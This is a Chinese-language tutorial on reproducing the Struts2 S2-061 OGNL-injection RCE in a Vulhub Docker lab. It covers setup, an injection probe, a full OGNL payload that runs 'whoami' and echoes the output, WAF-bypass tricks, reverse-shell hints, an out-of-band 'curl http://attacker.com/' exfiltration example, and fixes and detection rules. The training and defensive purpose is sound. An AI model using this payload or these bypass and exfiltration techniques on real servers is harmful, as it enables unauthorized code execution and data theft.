Vulhub实战：Struts2 S2-061漏洞复现与OGNL注入原理剖析

1. 项目概述：从靶场到原理的深度渗透

最近在整理内部安全团队的技能矩阵时，我发现很多新人对Struts2这类经典框架漏洞的理解，还停留在“用工具跑一下POC”的层面。这其实很危险，因为知其然不知其所以然，一旦遇到WAF拦截或环境变形，就完全无从下手。正好，Vulhub这个开源的漏洞靶场环境，为我们提供了一个绝佳的、可反复“破坏”的沙箱。今天，我就以Struts2家族中一个非常典型的远程代码执行漏洞——S2-061（CVE-2020-17530）为例，带大家走一遍从环境搭建、漏洞复现，到深入分析OGNL注入原理的完整流程。

这个项目标题“Vulhub实战：Struts2 S2-061漏洞复现与OGNL注入分析”已经清晰地勾勒出了我们的行动路线图。Vulhub是我们的“实验室”和“演武场”，它封装了漏洞环境，让我们能一键搭建，专注于攻击技术本身。Struts2 S2-061是我们要攻克的具体目标，一个在2020年底被披露的高危漏洞。而OGNL注入，则是贯穿几乎所有Struts2高危漏洞的核心“命门”，不理解它，就等于没看懂Struts2的安全问题。所以，这次实战不仅仅是按下一个按钮看到弹窗，更重要的是拆解漏洞触发链条上的每一个齿轮，理解攻击载荷（Payload）是如何被构造、传递并最终在服务器端被执行的。这对于安全研究人员、渗透测试工程师乃至开发人员理解安全编码都至关重要。

2. 环境准备与靶场搭建

工欲善其事，必先利其器。在开始“搞破坏”之前，我们需要一个安全、隔离且标准化的实验环境。Vulhub的出现，极大地简化了这一过程。

2.1 Vulhub靶场简介与部署

Vulhub是一个基于Docker和Docker-compose的漏洞环境集合。它的核心价值在于“开箱即用”。开发者们已经将历史上各种著名的漏洞（如Struts2系列、ThinkPHP系列、Weblogic反序列化等）的受影响应用版本，打包成了一个个独立的Docker镜像。我们只需要几条命令，就能在本地瞬间拉起一个带有漏洞的Web服务，完全不用担心污染主机环境或复杂的依赖配置。

部署Vulhub的步骤非常直接：

1. 系统准备：确保你的实验机器（可以是物理机、虚拟机或云服务器）已经安装了Docker和Docker-compose。这是Vulhub运行的基础。
2. 获取Vulhub：直接从GitHub克隆官方仓库是最佳方式，这样可以随时更新到最新的漏洞环境。

   git clone https://github.com/vulhub/vulhub.git cd vulhub

3. 启动特定漏洞环境：Vulhub的目录结构非常清晰，按漏洞类型或产品名称组织。我们需要找到Struts2 S2-061对应的目录。

   # 进入Struts2漏洞目录 cd struts2 # 查找S2-061对应的文件夹，通常目录名会包含漏洞编号 ls -la # 假设目录名为 s2-061，进入并启动 cd s2-061 docker-compose up -d

   执行docker-compose up -d后，Docker会在后台拉取镜像（如果本地没有）并启动容器。通常，漏洞应用会监听在宿主机的某个端口（如8080）。我们可以通过docker-compose ps命令查看容器状态和端口映射。

注意：在实验环境中，请务必确保Docker服务正常运行，且防火墙规则允许访问映射的端口。首次拉取镜像可能需要一些时间，取决于网络状况。

2.2 S2-061漏洞环境确认

环境启动后，我们首先需要确认靶场是否正常运行，并初步了解目标应用。访问http://your-ip:8080（将your-ip替换为你的实验机IP），你应该能看到一个简单的Struts2示例页面。这个页面可能包含一些表单或链接，用于演示Struts2的标签功能。

为了更精确地定位漏洞点，我们需要查看一下Vulhub为该漏洞准备的Dockerfile或应用代码。通常，在s2-061目录下，会有一个src或ROOT目录存放着Web应用源码。快速浏览一下其中的JSP文件或配置文件，可以帮助我们理解漏洞触发的上下文。例如，S2-061漏洞的触发与Struts2的标签属性解析有关，我们可能会在源码中看到类似<s:textfield label="test" name="name" value="%{example}" />这样的标签使用。

实操心得：不要急于运行攻击脚本。花几分钟时间阅读Vulhub项目在GitHub上该漏洞目录下的README.md文件，里面通常包含了漏洞简介、影响版本、启动方式，有时还有漏洞原理的简要说明和复现步骤。这是第一手的高质量信息。

2.3 攻击机工具准备

我们的攻击将在另一台机器（或同一台机器的另一个终端）上进行。需要准备的工具主要包括：

• Burp Suite：用于拦截、查看、修改和重放HTTP请求，是分析Web漏洞的“瑞士军刀”。社区版足以满足本次复现需求。
• 浏览器：任何现代浏览器均可，用于初步访问和触发请求。
• 命令行工具：如curl，用于快速发送测试请求。
• 文本编辑器：用于编写和修改攻击载荷。

确保Burp Suite的代理已正确配置（通常监听127.0.0.1:8080），并且浏览器或系统网络设置已指向该代理，以便捕获所有流量。

3. 漏洞复现过程全记录

环境就绪，工具在手，现在让我们开始真正的漏洞利用。S2-061的复现过程，是一个典型的“参数污染”导致OGNL表达式注入的过程。

3.1 初步信息收集与漏洞点探测

首先，通过浏览器正常访问靶场地址。假设页面上有一个表单，提交后会将参数传递给某个Action。我们打开浏览器开发者工具（F12）的“网络(Network)”选项卡，然后提交表单，观察发送的请求。

关键的步骤在于，我们需要找到一个Struts2标签能够解析value或name等属性中OGNL表达式的地方。S2-061漏洞的特别之处在于，它发生在Struts2框架对标签属性值进行二次评估时。具体来说，当标签的属性值（例如%{...}）被强制转换为字符串后，在某些情况下（如使用%{...}语法进行属性赋值），这个字符串又会被重新评估为OGNL表达式。

一个常见的测试方法是，在提交的参数中，尝试插入一个简单的OGNL表达式来验证漏洞是否存在。例如，我们可以修改请求中的某个参数值为%{1+1}。如果服务器在响应中返回了2，或者出现了错误信息但其中包含了表达式执行的结果，那就初步表明存在OGNL表达式注入点。

使用Burp Suite拦截提交的请求，将其发送到“重放(Repeater)”模块。假设拦截到的POST请求如下：

POST /someAction.action HTTP/1.1 ... Content-Type: application/x-www-form-urlencoded name=test&email=user@example.com

我们尝试将name参数修改为OGNL表达式：

name=%{1+1}&email=user@example.com

发送请求，观察响应。如果页面某处（可能在错误信息、回显的字段值里）出现了2，则证明注入成功。

3.2 构造并执行远程代码命令

确认OGNL注入点存在后，下一步就是构造能够执行任意命令的Payload。OGNL表达式功能强大，可以访问Java对象的方法。最经典的命令执行Payload是调用Runtime.getRuntime().exec()。

但是，在Struts2的安全防护机制（如沙盒、黑名单过滤）下，直接使用Runtime可能被拦截。因此，攻击Payload往往需要经过混淆或使用反射等技巧来绕过。一个常见的S2-061攻击载荷结构如下：

%{(#_memberAccess['allowStaticMethodAccess']=true,#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println('result:'),#out.println(new java.lang.String(#d)),#out.close())}

这个Payload看起来复杂，我们来拆解一下：

1. #memberAccess['allowStaticMethodAccess']=true：这是一个关键的绕过步骤。在Struts2的某些安全配置下，默认禁止OGNL访问静态方法。这行代码尝试修改一个内部标志位，允许静态方法访问。
2. #a=@java.lang.Runtime@getRuntime().exec('whoami')：以静态方法方式调用Runtime.getRuntime()，并执行系统命令whoami（查看当前进程用户）。exec()方法返回一个Process对象。
3. .getInputStream()：获取命令执行后的输出流。
4. #b=new java.io.InputStreamReader(#a), #c=new java.io.BufferedReader(#b)：将字节流包装成字符流，并用缓冲流读取，这是Java中读取进程输出的标准做法。
5. #d=new char[5000], #c.read(#d)：创建一个字符数组，并从缓冲流中读取内容。
6. #out=@org.apache.struts2.ServletActionContext@getResponse().getWriter()：通过Struts2的静态方法获取当前HTTP响应的PrintWriter对象。
7. #out.println('result:'), #out.println(new java.lang.String(#d)), #out.close()：将读取到的命令执行结果输出到HTTP响应中。

在Burp Suite的Repeater中，我们将包含上述Payload的请求发送出去。重要：需要将Payload进行URL编码，因为{}、=、()等字符在HTTP请求中有特殊含义。Burp Suite的Repeater模块可以一键进行URL编码（快捷键Ctrl+U）。编码后的Payload是一长串%XX格式的字符串。

发送请求后，如果漏洞利用成功，我们将在HTTP响应体中看到result:字样，后面跟着命令whoami的执行结果，例如root或tomcat。

3.3 漏洞复现结果验证与信息获取

成功执行whoami只是第一步，它验证了远程代码执行（RCE）的能力。接下来，我们可以尝试执行更多命令来获取系统信息，进一步确认漏洞的危害性。

• 查看当前工作目录：将Payload中的命令改为pwd（Linux）或cd（Windows）。
• 列出目录文件：使用ls -la（Linux）或dir（Windows）。
• 探测网络信息：使用ifconfig或ip addr（Linux）或ipconfig（Windows）。
• 尝试反弹Shell（谨慎！）：在授权测试中，为了获得一个交互式会话，可以尝试使用反向Shell命令。例如，在攻击机上监听一个端口（nc -lvnp 4444），然后将Payload中的命令改为反弹Shell的语句。请注意，这仅在完全可控的实验室环境中进行。

注意事项：在实际漏洞复现或渗透测试中，执行系统命令需格外谨慎。避免使用rm -rf /、format等破坏性命令。在Vulhub这样的靶场中，因为运行在容器内，影响相对隔离，但仍应养成良好的习惯。每次修改Payload后，都要记得进行URL编码。另外，不同的Struts2版本或配置，可能需要对Payload进行微调，例如使用不同的上下文对象来获取Response。

4. OGNL注入原理深度剖析

复现成功固然令人兴奋，但理解漏洞为何会发生，才能举一反三，甚至发现新的漏洞。S2-061的核心在于OGNL（Object-Graph Navigation Language）表达式的双重解析。

4.1 OGNL表达式语言简介

OGNL是Struts2框架默认使用的表达式语言。它的能力非常强大，远不止于访问对象的属性。在Struts2中，OGNL用于：

• 数据绑定：将HTTP请求参数自动绑定到Action类的属性上。
• 视图渲染：在JSP标签或模板中，动态地计算并显示数据，例如<s:property value="user.name" />。
• 类型转换：将字符串形式的请求参数转换为Action属性定义的复杂类型。

OGNL表达式放在%{和}之间，或者在某些标签属性中直接使用。框架在渲染视图时，会解析这些表达式，并执行其中的逻辑。这就埋下了安全隐患：如果攻击者能够控制这些表达式的内容，就能注入任意代码。

4.2 S2-061漏洞触发链条拆解

S2-061是S2-059漏洞的绕过。要理解S2-061，需要先了解S2-059。S2-059的根源在于，当Struts2标签的某些属性（如id,name）的值来自用户输入，并且该值被强制转换为字符串时，如果这个字符串本身又是一个OGNL表达式（以%{开头），框架在某些流程中会错误地对其进行二次求值。

S2-061在此基础上更进一步。开发者可能认为，如果用户输入被正确地转义或包裹在单引号中，就能防止OGNL注入。例如，标签这样写：<s:textfield value="%{'user_input'}" />，意图是将user_input作为一个字符串字面量。然而，漏洞就出在这个%{'...'}的解析过程中。

漏洞触发流程可以简化为：

1. 攻击者提交恶意数据，其中包含精心构造的OGNL表达式，但整个表达式被包裹在%{‘...’}的结构中。
2. Struts2框架第一次解析标签时，将%{‘...’}整体计算，结果本应是一个普通的字符串（即单引号内的内容）。
3. 但是，在后续的某些处理环节（例如，在为标签生成最终HTML的id或name属性时），这个“结果字符串”又被错误地当作了新的OGNL表达式上下文的一部分，导致了第二次解析。
4. 在第二次解析时，原本作为字符串内容被单引号保护起来的恶意OGNL代码，就被“释放”出来并执行了。

这就好比一个信封（第一次解析%{}）里面装着一封信（字符串），邮局（Struts2）本应只处理信封地址。但S2-061漏洞导致邮局不仅看了信封，还把信拆开，把信里的内容（本应是字符串的恶意代码）当作新的指令执行了。

4.3 Payload构造技巧与绕过思路

从上面的原理分析，我们可以总结出构造S2-061有效Payload的关键：我们需要构造一个字符串，这个字符串本身是一个合法的、能绕过初步检查的OGNL表达式，并且在其被二次解析时，能产生真正的恶意效果。

常见的绕过技巧包括：

• 利用OGNL的复杂语法：OGNL支持变量赋值（#var=value）、方法调用、静态方法访问（@class@method）、创建对象（new）等。攻击Payload就是这些语法的组合。
• 处理上下文对象：在Struts2中，OGNL表达式执行时有特定的上下文（Context），其中包含了一些预定义的变量，如#request,#session,#application等，以及当前Action的实例。Payload需要知道如何获取HttpServletResponse对象（例如通过@org.apache.struts2.ServletActionContext@getResponse()）来输出结果。
• 绕过安全限制：如之前Payload中出现的#_memberAccess['allowStaticMethodAccess']=true，就是尝试修改Struts2的安全管理器（SecurityMemberAccess）的属性，以开启被禁止的功能。不同版本Struts2的安全配置键名可能不同，需要适配。
• 编码与混淆：为了绕过潜在的WAF或简单过滤，可以对Payload中的关键字进行各种编码（如URL编码、Hex编码、Unicode编码）或使用字符串拼接等技巧。

理解这些，我们就能看懂为什么那个冗长的Payload能工作，也能在遇到拦截时尝试变种。例如，如果Runtime被过滤，可以尝试使用ProcessBuilder类；如果静态方法访问被严格禁止，可能需要寻找其他访问上下文的途径。

5. 漏洞修复方案与安全启示

复现和分析漏洞的最终目的，是为了修复和预防。对于使用Struts2的开发团队和安全人员，S2-061提供了深刻的教训。

5.1 官方修复方案与升级指南

Apache Struts官方在披露S2-061的同时，也发布了修复版本。修复的核心思路是：严格限制OGNL表达式在标签属性中的二次求值行为，确保用户输入即使被包含在%{‘...’}中，也不会在后续阶段被重新解析为OGNL。

具体的修复措施包括：

1. 升级Struts2框架：这是最根本、最推荐的解决方案。受影响版本（如Struts 2.0.0 - 2.5.25）的用户应尽快升级到官方修复版本（2.5.26及以上）。升级前务必阅读官方发布说明，进行充分的兼容性测试。
2. 应用安全补丁：如果因历史原因无法立即升级整个框架，可以尝试寻找针对特定版本的安全补丁（如果官方提供）。但这种方式通常难以维护，且可能不完整。
3. 配置安全拦截器：Struts2的安全拦截器（如Strict Method Invocation）可以在一定程度上限制OGNL表达式的能力。确保在struts.xml中正确配置并启用了这些安全特性。

   <constant name="struts.strictMethodInvocation" value="true" />

   但这只是一种缓解措施，不能完全替代升级。

5.2 开发层面的安全编码实践

框架的漏洞需要框架来修复，但开发者的安全意识同样至关重要，可以避免引入不必要的风险。

• 避免在标签属性中直接使用用户输入：这是黄金法则。尽量不要将未经严格过滤的用户输入，直接作为OGNL表达式的一部分，或者直接赋值给标签的id、name、value等属性。
• 使用更安全的表达式语法：在JSP中，优先使用EL表达式（${}）而非Struts2标签的OGNL，除非确实需要Struts2标签的特定功能。EL表达式的功能相对受限，更安全。
• 输入验证与过滤：对所有用户输入进行严格的验证和过滤。对于可能用于渲染的参数，考虑进行HTML编码或白名单过滤。
• 最小权限原则：运行Struts2应用的Web服务器（如Tomcat）进程，应使用非root、低权限的用户运行，以限制漏洞被利用后造成的破坏范围。

5.3 企业安全防护与检测建议

对于安全运维人员，除了推动开发团队修复漏洞，还应建立纵深防御体系。

• 资产梳理与漏洞扫描：定期使用漏洞扫描工具（如Nessus, OpenVAS, AWVS等）对内外网Web应用进行扫描，及时发现并告警存在Struts2等已知漏洞的系统。
• WAF规则部署：在Web应用防火墙（WAF）上部署针对OGNL注入特征（如#_memberAccess,@java.lang.Runtime,getRuntime().exec等关键字组合）的检测和拦截规则。但要注意攻击者可能使用混淆技术绕过简单规则。
• RASP应用：在可能的情况下，考虑使用运行时应用自我保护（RASP）技术。RASP agent运行在应用内部，能够监控OGNL表达式解析等关键函数调用，更精准地识别和阻断恶意注入行为，即使攻击载荷经过混淆。
• 日志监控与审计：确保应用服务器和Struts2的日志级别设置得当，监控日志中是否出现异常的、包含大量特殊字符（如%{,#,@）的请求参数，这可能是攻击尝试的迹象。

6. 拓展思考与高级利用场景

掌握了S2-061的基础复现和原理后，我们可以将视野放得更广一些，思考一些更深入的问题和场景。

6.1 与其他Struts2漏洞的关联对比

Struts2的漏洞史几乎就是一部OGNL注入的演进史。将S2-061与它的“前辈们”对比，能更好地理解攻击与防御的博弈：

• S2-045 / S2-046：基于文件上传错误处理的OGNL注入，影响面极广。它与S2-061的触发点不同（文件上传解析 vs 标签属性解析），但最终都是通过OGNL执行代码。
• S2-048：涉及Struts2插件struts2-struts1-plugin的OGNL注入。这说明漏洞可能出现在框架的扩展部分，而不仅仅是核心。
• S2-052：涉及REST插件和XStream反序列化，虽然最终也是RCE，但路径是反序列化，与OGNL注入有区别。
• S2-057：涉及命名空间和重定向结果的OGNL注入，又是一个新的触发场景。

它们的共性是：Struts2框架在将用户可控数据传递到OGNL解析引擎的某个环节时，失去了严格控制。差异在于这个“环节”的位置不同。理解这一点，在代码审计时就知道该重点审查哪些数据处理流程。

6.2 在受限环境下的利用尝试

真实的网络环境往往没有实验室这么理想。我们可能会遇到：

• 命令执行被拦截或无回显：Runtime.exec()可能被安全管理器禁止，或者执行了命令但无法将结果输出到HTTP响应（无回显）。此时可以尝试：
  • 使用其他执行方式：如ProcessBuilder，或者利用Java反射来间接调用。
  • 外带数据（OOB）：尝试使用DNS查询、HTTP请求等方式将命令执行结果带出。例如，执行curl http://attacker.com/，并在攻击机Web日志中查看访问记录。
  • 延时判断：执行sleep 5之类的命令，通过观察响应时间是否延迟来判断命令是否执行。
• WAF/IPS拦截：商业WAF通常有Struts2漏洞的规则集。绕过可能需要更复杂的Payload混淆，如：
  • 字符串拆分与拼接：“cmd”写成“c” + “md”。
  • 编码：使用Base64、Hex、Unicode编码命令或关键字。
  • 使用冷门类或方法：避免直接使用Runtime，寻找其他可以执行命令或读写文件的Java类。

6.3 从攻击到防御：代码审计视角

作为一名安全研究员或红队成员，复现漏洞之后，应该尝试站在防御者或代码审计者的角度思考。如果给你一份Struts2应用的源码，如何寻找潜在的S2-061类漏洞？

1. 全局搜索：在JSP、FreeMarker等视图文件中，搜索Struts2标签库的引用，特别是<s:textfield>,<s:label>,<s:property>等标签。
2. 审查标签属性：重点检查这些标签的id、name、value、label等属性的值来源。如果属性值使用了%{...}语法，并且其中的表达式包含了来自用户输入的变量（如#parameters['xxx'],#request.xxx），就需要高度警惕。
3. 跟踪数据流：如果发现可疑点，需要向前追踪这个用户输入变量在整个Action处理流程中是否经过了充分的过滤或校验。
4. 关注强制类型转换：在代码中寻找将对象强制转换为字符串（String.valueOf()或隐式转换）的地方，尤其是在转换之后，这个字符串又被用于OGNL表达式求值的场景。这正是S2-061的根源。

这种主动的代码审计思维，能帮助你在黑盒测试遇到阻碍时，通过白盒分析找到新的攻击面。

7. 常见问题与排查实录

在复现过程中，你可能会遇到各种问题。这里记录了一些典型情况及其解决方法。

7.1 环境启动与访问问题

• 问题：执行docker-compose up -d后，容器启动失败。

  • 排查：运行docker-compose logs查看具体错误日志。常见原因有：端口冲突（如宿主机8080端口已被占用）、镜像拉取失败（网络问题）、Docker引擎版本不兼容。
  • 解决：修改docker-compose.yml文件中的端口映射（如将8080:8080改为8081:8080），或使用docker-compose down清理后重试。

• 问题：容器状态为Up，但无法通过浏览器访问。

  • 排查：首先在宿主机上执行curl http://localhost:映射端口测试。如果宿主机能通，可能是防火墙或安全组规则问题。如果宿主机也不通，进入容器检查应用日志：docker exec -it 容器名 /bin/bash，然后查看Tomcat日志（通常在/usr/local/tomcat/logs/下）。
  • 解决：检查防火墙设置，或查看应用日志中的启动错误。

7.2 漏洞复现不成功

• 问题：发送Payload后，返回500错误，但没有命令执行结果。

  • 排查：这是最常见的情况。首先，检查Burp Suite中发送的Payload是否已经正确进行了URL编码。未编码的{、}等字符会导致请求格式错误。其次，查看HTTP响应体或服务器日志中的完整错误信息。错误信息可能直接提示OGNL表达式解析失败，例如找不到某个类或方法。
  • 解决：确保Payload正确编码。根据错误信息调整Payload，例如，目标Struts2版本可能使用了不同的上下文变量名，尝试将#_memberAccess替换为#context['com.opensymphony.xwork2.ActionContext.container']或其他变体。参考其他公开的针对特定Struts2版本的EXP。

• 问题：返回状态码200，但页面没有任何变化，也没有命令结果回显。

  • 排查：这可能意味着OGNL表达式执行了，但输出没有正确重定向到HTTP响应。或者，命令本身执行失败（如命令不存在、权限不足）。
  • 解决：尝试一个更简单的测试Payload，如%{1+1}，看是否能回显2。如果不能，说明注入点可能不对，或者环境有更强的防护。尝试在Payload中使用#out.println('test')来测试输出通道是否畅通。对于命令执行，先尝试一个绝对路径的、肯定存在的命令，如Linux下的/bin/ls。

• 问题：命令执行了，但回显乱码或不全。

  • 排查：这通常是字符编码问题，或者命令输出中包含换行符等特殊字符，在OGNL字符串处理或HTTP响应中显示异常。
  • 解决：在Payload中，可以对命令输出进行Base64编码后再回传。例如，将执行结果通过管道传递给base64命令。在攻击端收到Base64字符串后再解码。

7.3 工具与技巧相关问题

• 问题：Burp Suite抓不到靶场的流量。

  • 排查：确认浏览器代理设置正确指向了Burp Suite（通常是127.0.0.1:8080）。如果靶场运行在虚拟机或远程服务器，需要确保Burp Suite监听在所有网络接口（0.0.0.0）上，并在浏览器中配置对应的代理IP和端口。
  • 解决：在Burp Suite的Proxy->Options->Proxy Listeners中，编辑监听器，将Bind to address从Loopback only改为All interfaces。

• 问题：如何自动化利用这个漏洞？

  • 说明：对于S2-061这类有公开POC的漏洞，已有许多安全工具集成，例如Metasploit框架中就有相应的利用模块。也可以使用Python编写简单的脚本，使用requests库发送构造好的Payload。
  • 建议：在理解了手动复现的原理后，可以尝试编写自己的自动化脚本，这对于学习Payload构造和HTTP交互非常有帮助。但务必仅在授权环境中使用。

整个实战下来，我的体会是，漏洞复现就像做一道复杂的物理实验。搭建环境（Vulhub）只是准备器材，执行攻击脚本只是按步骤操作，而真正的收获来自于中间的分析、调试和原理探究。每一次“为什么这个Payload不行？”的追问，每一次查看错误日志的排查，都会让你对OGNL解析机制、Struts2框架流程乃至Java安全的理解加深一层。面对一个复杂的漏洞，不妨把它拆解成：输入点在哪里？数据流经了哪些组件？在哪个环节失去了控制？最终达到了什么效果？按照这个思路，不仅是S2-061，其他许多漏洞的分析路径也会清晰起来。最后，记得在实验结束后，运行docker-compose down来清理所有容器，释放资源。